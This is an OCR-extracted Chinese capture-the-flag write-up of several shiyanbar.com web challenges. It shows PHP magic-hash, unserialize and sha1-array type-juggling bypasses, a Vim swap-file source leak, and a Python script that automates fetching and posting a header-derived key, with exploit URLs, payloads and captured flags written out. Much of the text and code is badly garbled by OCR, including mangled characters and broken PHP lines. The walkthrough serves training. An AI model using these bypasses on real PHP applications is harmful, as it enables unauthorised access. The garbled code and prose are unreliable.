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<!-- $test=$% GET['username']; $test=md5($test); if($test=='0") -->

<html>
P <head>..</head>
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<p> 4 S5REE</ p>
<p>Jl:F' radmin&nbsp; &nbsp; % i : admin</p>
<p> b ARIX 4 MIE SR P B, S B I A S Bl S k. </p>
¥ <form enctype="multipart/form-data” method="post” action="index.php">
¥<table>
¥ <tbody>
¥Yitr>
<th>
</th>
<td> R FUF O AT~ 8. </td>
</tr>
P <tr>.</trs
P <tr>.</trs
Pctr>.<ftr> == %0
</tbody>
</table>
</form>
<l-- $test=% GET['username']; $test=md5(%test); if(%test=="0") -->
</body>
</html>
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IS

Result:

md5: 0e087386482136013740957780965295
md5(md5($pass)): 41c9c309a9b5c6f7e1f862962b78ad3c
md5(md5(md5($pass))): 3d293da592f867ae073bdfad907220bc
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B Bunserialize (L B2 FEAMLEIN R, X2 — M E R FILIE B ATIRE, KRS R FIL PHP HfA.

$unserialize_str = $_POST[ 'password'];

$data_unserialize = unserialize($unserialize_str);

if($data_unserialize['user'] == '???' && $data_unserialize['pass']=="'???") {
print_r($flag);
by
— ] X
(3 ctf5.shiyanbar.com/10/web1/1 X +
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$unserialize str = $§ POST['password']; $data unserialize = unserialize($unserialize str);
if($data_unserialize['user’] == '???' && $data unserialize['pass']=="???") { print r($flag); } K
HRlESRphpF=IE : Avtf/R , MibA/R. EXEEEE

X B ARG 2 Postig X 1 F i H & i unserialize VB $ 7 FI AT, 83—/, ZREH B FuserfipassEfi&E TE??7?7,
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5B BAA R, WA R IREEIRA .
boolE A fitrue AL B AR S A LASS R RS . R RATRT LA iEbool B B I R I BHE , B LLIE R4, SRR
true. (aftFarray, sftFstring, bitFEbool, T FRENBKE)

<?php

error_reporting(0);

$test="";
$test=array("user"=>1,"pass"=>1);
echo var_dump($test);

echo var_dump(serialize($test));

$testl="";

$testl=array("user"=>true, "pass"=>true);
echo var_dump($testl);

echo var_dump(serialize($testl));

?>



BAELPHPW AT IR, B FERFTR: string(36) “a:2:{s:4:“user’;i:1;s:4:“pass”;i:1;}’

<?php

error_reporting(e);

$test="";

$test "user"=>1,"pass"=>1);
echo var_dump($test);

echo var_dump(serialize($test));

$testl="";

$testl "user"=>true,"pass"=>true);
echo var_dump($testl);

echo var_dump(serialize($testl));

2>

run (ctrl+x) | A | copy | HELEMtES HIIEE | BERAXATXE
o XNFERAETR htmIBFL R

array(2) {
["'user"]=>
int(1)
["pass’=>
int(1)

}

string(36) "a:2:{s:4:"user";i:1;s:4:"pass";i:1;}"

array(2) {
["'user"]=>
bool(true)
["pass’=>
bool(true)

}
string(36) "a:2:{s:4:"user";b:1;s:4:"pass";b:1;}"

6.1i&Epassword{E : a:2:{s:4:“user’;b:1;s:4:“pass”;b:1;}, % & /5 HIflag.

AMEERRST

TES(REE
MkF:admin Zf3:admin
1 I A A AR P RIS, B B RS SIE 8,

AEIEMMERRA NS,
BF4g: admin



Z50; a:2:{s:4:"user";b:1;s:4:"pass
BENESR

ctf{dwduwkhduw5465} :

EMEER: ctffdwduwkhduw5465)

SEHE.
https://blog.csdn.net/dongyanwen6036/article/details/77650921
https://www.cnblogs.com/ssooking/p/5877086.html

1.WEBZ 5 % 15

BLH Hbhk:  hitp://www.shiyanbar.com/ctf/1808
fRRREERE:  hitp://ctf5.shiyanbar.com/10/upload/step1.php
B H i -

f \ =
SCIG0D LRBENE bz

EIVE - B R4 -IEEE CThFEE-EIoER 1

i Tar I

iR : Justatest HE : = 25 0% : 18626/ Get Flag : 5829/
A=

==t - SImCTH }

BESgEE « http://ctf5.shivanbar.com/10/upload/ E e

ETALY : 6201/ BRSO EE ¢ 04%

AR H BT ERTR, & E K BRI E #6D .

(3 logic X +

C © &%2£ | ctf5shiyanbar.com/10/upload/stepl.php




input regist email:

https://Hbpscébingetdeinat/ E2EERRG0

% m: vimE 4 SO R
& E T
1 EERABEERMAN —MED, W123456"F R EZR.

logic X £k %W X+
€ ctf5.shiyanbar.com/10/upload/step1.php c FEE w8 ¥ A O @

4
n

¥ mE5iEstep

input regist email:

123456

R [ENT B, R “step2.php” T

2EBFFEN, KIIREF 4 Nadmin, B N“admin@simplexue.com”s



html
¥ <head
meta charset="utf-8
meta http-equiv="X-UA-Compatible” content="IE=edge,chrome=1
meta name="renderer” content="webkit
meta name="admin” content="admin@simplexue.com” > < mm———
meta name="editor"” content="Vim
title>logic</title
Fostyle type="text/css">..</style
/head
> <body>..</body
/html

N ZHRAE R I ScriptsiRBEZR AL Tl M CIAZIE B B ERAE T, REAE, HEE~

3 1ogic X 4+

< C ©® %&£ | ctf5shiyanbar.com/10/upload/step1.php?emailAddress=admin%40simplexue.com a &% 6 0

ctf5.shiyanbar.com TR

HRTAZIEIRREME T | (RETER

e ElZiIstep

input regist email:

SIXEAAT, Step2.phpWEBEE T —TF, AR5 Bk EIstept, Piistep2 HTEA MM ! WHIBLHEX AR, BRIVZEAE
BXANHEIE? XAHMEZER 2 — 2 MBurp SuiteU# 8%, IMEEE.
Step2.php & 7 3L %I B -

O logic x o+

€« C @ A%=2 | ctfs.shiyanbar.com/10/upload/step2.php?email=test@test.com a & 6 0

312G ster



email:

est@test.com

token:

Jbibpscibinp et inbt ZEAAIRG0

JFi¥E—: fETarget&FE H FW KA AN“submit.php” ST

‘ Burp Suite Free Edition v1.7.26 - Temporary Project — O X
Burp Intruder Repeater Window Help
_[ Target I Proxy ] Spider ] Scanner T Intruder ] Repeater i Sequencer I Decoder T Comparer T Extender i Project options ] User options ] Alerts ]
Site map | Scope ]
‘ Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders 4|
http://ctfS shiyankar.com Host Method | URL Params | Status 4 | Length MIME type Title
hitp-//ctf5.shiyanbar.com  GET /10/upload/step1.php 8] 200 1088 HTML logic
hitp://ctf5 shiyanbar.com  GET /10/upload/step1.phpZemail A in% plexue.com )] 200 1162 HTML logic
hitp-//ctf5.shiyanbar.com  GET M0/uplo: p1.php2emailA youmail%40msil.com & 200 1203 HTML logic
http://ctfS.shiyanbar.com GET /10/upload/step2. php?email=test@test.com €] 200 HTML legic
hitp-//ctf5.shiyanbar.com  GET /10/upload/step2.php (@] 302 1272 HTML logic
http://ctfS.shiyanbar.com GET 10/up tep2.php?email=ycumail@mail.com&check=27 €] HTML
hitp GET 10 a
< T T
Reguest | Response ]
Raw | Params ] Headers ] Hex ]
GET /10/upload/stepZ.phpTemail =youmail @mail .comécheck=2277727 HTTP/1.1 A
Host: ctf5.shiyanbar.com
Accept: W%
Accept-Language: en
Connection: cleose
v
> Tvoe & search A maiohen
‘ ‘ < H + ‘ > ‘ e 5§ sea. e, 0 metaher
Sy
F¥E—: f#fRepeater, &E& MM Response.
‘ Burp Suite Free Edition v1.7.26 - Temporary Project - O X
Burp Intruder Repeater Window Help
| Target I ] Spider ] Scanner I Intruder 1 Repeater I Sequencer I Decocder I Comparer I Extender I Project options I User options ] Alerts ]

J I HTTP history I WebSockets history I Options ]

# | Request to hitp://ctf5 shiyanbar.com:80 [106.2.25.10]

{ Forward ‘ { Drop | [ e pt is on i Action

™

GET /10/upload/stepl.php?email Address=admind4d Send to Intruder Ctrl+l
Host: ctfS.shiyanbar.com
Usex-Agent: Momilla/5.0 (Windews NT 10.0; ‘HIZ"H
Accept: text/html,appl ication/xhtml+xml , appli Send to Sequencer
Accept-Language: sh-Cl,sh;q=0.8,en-U3;q=0.5,e
Referexr: http://ctfS.shiyanbar.com/ 10/upload/ Send to Comparer
Connection: close

Send to Spider

e

Send to Decoder

Request in browser »
Engagement tools [Pro version only] >
Change request method

Change body encoding

Copy URL

Copy as curl command

Copy to file

Paste from file

Save item




Don't intercept requests >
Do intercept

v

Convert selection >

v
URL-encode as you type =

v < *. H > I Type a search temm P . Q) maiches
L cu Cri+A

B GETH KM UL &2 Astep2.php, 4R 5 Wi N 2 B3R 3T N “submit.php”.

ﬂ Burp Suite Free Edition v1.7.26 - Temporary Project — O X

Burp Intruder Repeater Window Help

[reoe [~ [ spe [ scaoer [ e [ st | ssree [ oo | oo | e | romtptrs | oo [ e |

[ Go J Cancel l( vJ > Follow redirection Target: http://ctf5 shiyanbar com EJ@
Request Response

[ [ o =] (el [ [t [rer )

GET /10/upload/stepZ.php?email Address=admin¥405implexue.com HITP/ 1.1 A top: 50%; [ ]
Host: ctf5. shiyanbar - left: 50%;

User-Agent: Mosmilla/ (Windows NT 10.0; WOWE4; zv:43.0) Gecko/20100101 Firefox/43.0 width: 400px;

Accept: text/html,applfcation/xheml+xml , appl ication/xml ;q=0.8,%/ *;q=0.0 margin: -70px -200px;

Accept-Language: sh-CNh;q=0.0,en-US;q=0.5,en;q=0.2 ¥

Referer: form input{

hetp://ctfS. shiyanbar . coml 10/upload/ stepl.phplemail Address=youmail ¥40mail . com display: block;

Connection: clese margin: 10px auto;
width: 100%;
boxder: nore;

| height: 2rem;
border-radius: Spx;

</style>
</head>
<body>
<form action="submit.php" method="GLT">
<h1>000000= tep2</hl>
email:<input name="emailAddress" type=‘text® value="" disable="true"/></br>

/ token: <input name="token" type=ttext" /></br>
<input type="submit" value="000">

</ foxm>
</body>
- </ html >
v v
? < - > Type a search term 0 matches ? < - > Type a search tem 0 matches
Done 1,277 boytas 4 5% evitlis

4 FHEBEFZMT, FRIEE youare notanadmin”, BRRIGHZTAE, EAEEERANEREER. AEE~

0 ctf5.shiyanbar.com/10/uploac X +

&€ > C @O AZ2| ctfs.shiyanbar.com/10/upload/submit.php

you are not an admin

5.7 [B1 2| F Wstep 1. php AR, XEANEE EEZKRFEE—HEHXANEZVIM,

<IDOCTYPE html>
<html>
w <head>
<meta charset="utf-38"></meta>
<meta content="IE=edge,chrome=1" http-equiv="X-UA-Compatible"></meta>
<meta content="webkit" name="renderer">»</meta>
<meta content="admin@simplexue.com” name="admin"></meta>
<meta content="vim" name="editor"></meta>

<title>logic¢/title>

<style type="text/css">body,html{ position: relative; heightff 1@..</style>
</head>

w <body>
w <form method="GET" action="./stepl.php”>
<hL>#AIF i stepic/hl>

e e e e 4+ mamma T



LTIpPUL I"eglsL gmdLil s
<input type="text"™ name="emailAddress"></input>
<br></br>
<input type="submit" value="4£7"></input>
</form>
</body>
</html>

VIME A SCHE (B SparkWRH)  BRINES TREAVIMGTE, EBECUHE RAaS BEIER A ~

B0 S0, BB TR A H FETEE . B0, index phpifia L ERIE T, B H&4 X Aindex.php~.

VIMH HiswpBllswap 3O, FESi AR 42, BRI, MR R SCF A Zsubmit, JU'E K ST submit.swp”s MRS IEH IR
W, WS B SR

XANEE M SO R, BATENIEX ANV IMG 3885 7T DAAF O e ST, T I SO AR IBUE B AT AT BLSEAR — TR i e B 52
i, BRI

ctf5.shiyanbar.com/10/upload/.submit.php.swp

PS: FE Avim& 4 SO~ RS, FrbAR ZE i _E—AM.submit.php.swp”.

- O b
D ctfS.shiyanbar.com/10/uploac. X +
&« C @ A= | ctfS.shiyanbar.com/10/upload/submit.php.swp Qa ¥« 6 0
404
@ submit.php.swp ~ . S o X
965/965 B patbusicil

6.2 3T JF .submit.php.swp X 14 .

[= submit. php. swp 4 |

1

=1 E—iTE2EBERIAE........
3

4 ¥

5 NREBFEEHMNAEEFEARN die()
& HIEESE

7

j;_‘: _

4 -- F=HIEH ‘user-

10 -

11

12 CREATE TABLE IF NOT EXISTS “user |
13 "id” int(1ll} NOT NULL AUTC INCREMENT,

a A U e e {ACECY wrem wTrTE T




1% username VArCnariL£aa) NUL NJlils,

15 “email” wvarchar(2553) NOT NULL,

16 “token® int(255) NOT NULL DEFRULT '0O',

17 FRIMERY EEY ("id")

18 } ENGINE=MyISZiM DEFAULT CHARSET=utfB I!UTO_INCREI{E‘.NT=2 ;
19

20 —-=

21 - BEEFEFEIEIE user

22 —-=

23

24 INSERT INTO "user” ("id", "username’, “email”, “token’) VALUES
25 (1, wwww?ﬁﬁj’mwww' www?ﬁﬁj’mwww' 0);

26 wf

27

28

28 L....... E—ITEEREARE. ...,

30

31 if ('empty (S5token) &&!empty (Semailfddress)) {

32 if(strlen(5token) !=10) die('fail'");

33 if (5token!='0") die("fail');

34 $sgl = "SELECT count(*) as num from “user” where token='"Stoken' AND email='SemailZiddress'";
33 5r = my=sgl query($sgl) or die('db error');
36 5r = mysgl fetch assoc($r);

37 Sr = S5r['num'];

3B if(5rx0){

390 echo 5flag;

40 lel=sef

41 echo "R T IF";

42 1

43 1

44

45

H R R IGRHE R, XA KRN UE W Rtokeni K BEU A% T10, Jf HtokenHIfE N0, PEATAT LLAE +AN0ikik.

if(!'empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0") die('fail');
$sql = "SELECT count(*) as num from “user  where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r
$r = $r['num'];
if($r>0){
echo $flag;
telse{
echo "RILTEF";
¥
¥

mysql_fetch_assoc($r);

7 REMERS RN T

http://ctf5.shiyanbar.com/10/upload/submit.phpemailAddress=admin@simplexue.com&token=0000000000



RJE VT AR B T 4R

i} ctf5.shiyanbar.com/10/uploac. X <+

<« C O T2 | ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000

flag is SIimCTF{huachuan_TdsWX}

EMZR: flag is SImCTF{huachuan_TdsWX}

SRR
https:/mww.cnblogs.com/ECJTUACM-873284962/p/7860788.html
https://blog.csdn.net/wy_97/article/details/76559354

7~ .WEBZ false



R H Huhk -
R R B2 -
73 E R -

ER )

EauE

http://www.shiyanbar.com/ctf/1787
http://ctf5.shiyanbar.com/web/false.php

kg U-Saas

it EgE

: B =R -1IlEREEE > CTREEREE - FALSE

FALSE & : 10

S8 ¢ iFurySt BE: 2 BE5AR: 10141 A Get Flag : 55434 AR : 5599
PHPIEEELT

hint : shal BEHFEIAE T EEENE ? ImiEts A RAmd5SaEiEol o Yo

&L« CTH}

fEEmsEEE ¢« hitp://ctfS.shiyanbar.com/web/false.php A

BRI R - 99%

BE BRI T EFR.

[ PHP Code Audit x +

C | O A% | ctfSshiyanbar.com/web/false.php

Q2 %) 6 0

Login first!

| View the source code ‘

R

PHPfR 3% i+ (PHP Code Audit)

BB T
1 ELFEERMANE, midiLoginti4l.




http://ctf5.shiyanbar.com/web/false.php?name=1&password=2

[ PHP Code Audit x + H x
<« - C A Z?-ﬁé@g(afnbar.com/web/false.php?name=1&password=® - Q % 6 0
_— e —

Invalid password.

| View the source code ‘

2.5 #“View the source code”3REXIE AL T T A 7w o

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET[ 'password'])
echo '<p>Your password can not be your name!</p>"';

else if (shal($_GET['name']) === shal($_GET[ 'password']))
die('Flag: '.$flag);
else

echo '<p>Invalid password.</p>';
¥
else{
echo '<p>Login firstl</p>";
?>



BRI R GET3kBtnameMpassword, #RJ5 #E4T HIH7 .
(1) if(§ _GET['name’]==$ GET[password’]), F/" &L MFEHEHELE, RRWT.

ctf5.shiyanbar.com/web/false.php?name=1&password=1

Your password can not be your name!

L:::gin_I

(2) else if (sha1($ _GET['name’]) === sha1($ _GET['password’])), F 4% & MEMEKshal InFEEFIEAELE, PATdieRH.

(3) VA E#A IR [ “Invalid password”.

(4) RN 2MEL, &R Loginfirst’

3. R EULEA :

- die()F#: FIEFEFEST, MEAR

«shal(VE . HEFFSE “Hello” 1 SHA-1 84F1. BRINKIIENS BT R /8 R

- isset()Ri%: WNIEERTDBREH HIE NULL.

« ERBAFENRE FALSE, #HZREBFEHHMEANNULL, #iRE FALSE , #HARHFEHMEAANULL, NWIRE TURE. [F A
KEZNRER, SNRIEFESE—KERNARE TRUE, BUZRAN FALSE.

Z%EM: https://www.php.net/manual/zh/function.isset.php

<?php
$a = array ('test' => 1, 'hello' => NULL, 'pie' => array('a' => 'apple'));

var_dump(isset($a['test'])); // TRUE
var_dump(isset($a['foo'])); // FALSE
var_dump(isset($a['hello'])); // FALSE

// & 'hello' HIEETF NULL, ArUA#il Fy 2k B EH.
/) WRARH NULL 21E, B LU TR 7%
var_dump(array_key exists('hello', $a)); // TRUE
// Checking deeper array values

var_dump(isset($a['pie']['a'])); // TRUE
var_dump(isset($a['pie']['b'])); // FALSE
var_dump(isset($a['cake']['a"]['b"'])); // FALSE
?>

43X B FE AT if (sha1($ _GET['name’]) === sha1($ _GET['password’]))"&4].
HA: shal)BBBRANEASHRBRZRAER, BT A fhkA, F3REE Nfalse, MBAXR ., FHin L&
H #% Bifalse, W A48 34 i& FALSE===FALSE% 3l/flag.

==: WBUEHNS PaRBER M RAKREARRE
===: [ESITHEN, ANREREANES KA.

e 3& P -

http://ctf4.shiyanbar.com/web/false.php?name[ |=1&password[ ]=2



5.nameflpassword W¥i4H, FHEHMEAMHE, RAZBAIKREfag.

[ PHP Code Audit X +

< C ® F&%&£| ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2

Flag: CTF{t3st th3 Sha1}

IERZ5 R Flag: CTF{t3st_th3_Sha1}

B.WEBZ X T iR Zly ME PR AN



FBH Hsdk:  http://www.shiyanbar.com/ctf/1854
fREsERE:  http://ctf5.shiyanbar.com/web/10/10.php

FB H R -
g #3}H7 U-SaaS
SCOG0L itRBERE : -Saa

EeuE | i EAE -1IERERE > CTREE > FALSE

FALSE #&E: 10

g ¢ iFurySt HE: S #EHAS 101414, Get Flag : 5543\ SEAS : 55094, EESIEIEER : 99%
PHP{t St

hint : shal BEHFEIAE T EEENE ? ImiEts A RAmd5SaEiEol o Yo

fBL - CTH

fEEmsEEE ¢« hitp://ctfS.shiyanbar.com/web/false.php )

BHERWTEFR, #REE“Youmustdo it as fast as you can!”.

[ ctf5.shiyanbar.com/web/10/10 X +
C ©® &2 | ctfS.shiyanbar.com/web/10/10.php

There is no martial art is indefectible, while the fastest speed is the only way for long success.
>>>>>>----You must do it as fast as you can!----<<<<<<

% pi: Pythonfiji &

7L E fE T -
1.2RSQUEAMER B, HEEFEFENRE, KA MERER:

<!-- please post what you find with parameter:key -->

<html>
<head></head>
¥ <body>
"There is no martial art is indefectible, while the fastest speed

<br>
">>>>»>>----You must do it as fast as you can!----<<<<<<”

<br>
<l-- please post what you find with parameter:key --> == %o




</body>
</html>

2AREEE WA, R EK R B 8, X B A LASRBurp Suitedlf, ProxyfiinterceptBi AT, H¥IMBHE B K

repeaterfGo— T, £KRIM—AFLAGHH. H—FJik, Chromed % H & M 4IRE

s} ctf5.shiyanbar.com/web/10/10 X +
& C @ A%%£ | ctf5.shiyanbar.com/web/10/10.php

There is no martial art is indefectible, while the fastest speed is the only way for long success.
>>>>3>>----You must do it as fast as you can!----<<<<<<

[x ﬂ Elements  Console Sources Network Performance Memory Application Security Audits

Date: Tue, @6 Aug 2019 10:48:54 GMT

Server: nginx/1.10.2
Transfer-Encoding: chunked
X-Powered-By: PHP/5.5.38

¥ Request Headers view source

1 requests | 464 B transferred | Finish: 90 ms | DOMConte... 0.8

FLAG: UDBTVFOUSE1TX1QWXBNINESHRVIGTDRHONZhbmRmMQXplZg==

® © mW Y Q View = ™= [ Groupbyframe | [J Preserve log [J Disable cache | [J Offline Online v
Filter (] Hide data URLs XHR JS CSS Img Media Font Doc WS Manifest Other
10 ms 20 ms 30ms 40 ms 50 ms 60 ms 70 ms 80 ms 90 ms
Name X Headers Preview Response Cookies Timing
L 10.php Content-Type: text/html

- O X
a #« 6 0
%
100 ms 110

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=

SAEMPLFRILT FLAG, FilERE L1 Baseb4dmitl, ZiXIELMT.

EL N33 (52 FACrypto-JS3CIN)

IEsEET  EBINAF | BASE64 | [EIE/BASEB4iLin

RA: BASE64:
POST THIS TO CHANGE FL4G:vandfAzuf

¥ Feedback

UDBTVFOUSEITX1QwWXONINESHRVIGTDRHONZhbmRmMQXp1Zg==

BASEG447rS »

< BASEG4##:S

B ZAE IR A R B R FE ALY -

FLAG: UDBTVF9USEITX1QwXONINE5SHRVIGTDRHONZhbmRMQXp1Zg==
fR#%: POST THIS_TO_CHANGE_FL4G:vandfAzuf

FLAG: UDBTVF9USEITX1QwXONINE5SHRVOGTDRHOktsSVBLWmMVKOQ==
fRfG: POST THIS_TO_CH4NGE_FLAG:KIPKZed9

4.[B1 42 BT IR (please post what you find with parameter:key) VLK f#% G FIFLAGH, & EHRERZPOST, #KHPython

JASZI. wans, XEBIHBHES.




#-*- coding: utf8 -*

import requests

import base64

url = ‘http://ctf5.shiyanbar.com/web/16/10.php’

s = requests.session()

response = s.get(url)

#IKFLAGIEH

#FLAG: UDBTVFQUSELTX1QwXONINE5HRVOGTDRHONZhbmRmQXplZg==
head = response.headers

flag = baseb4.b64decode(head[ ‘FLAG’ |).split(’:’)[1]
print(flag)

# @ EPOSTIER

pdata = {‘key’: flag}

result = s.post(url=url, data=pdata)
print(result.text) #/i//

S5.BfTREIIM T4 R,

>>>
MDtOWr8ys

CTEF{YOU_4R3_INCR3DIBL3_F45T!}
>>>

TFH%%: CTF{YOU_4R3_1NCR3D1BL3_F4ST!}

SR https://www.jianshu.com/p/11b5¢1bd62d0
https://blog.csdn.net/miko2018/article/details/83314088
https://blog.csdn.net/dongyanwen6036/article/details/77358693
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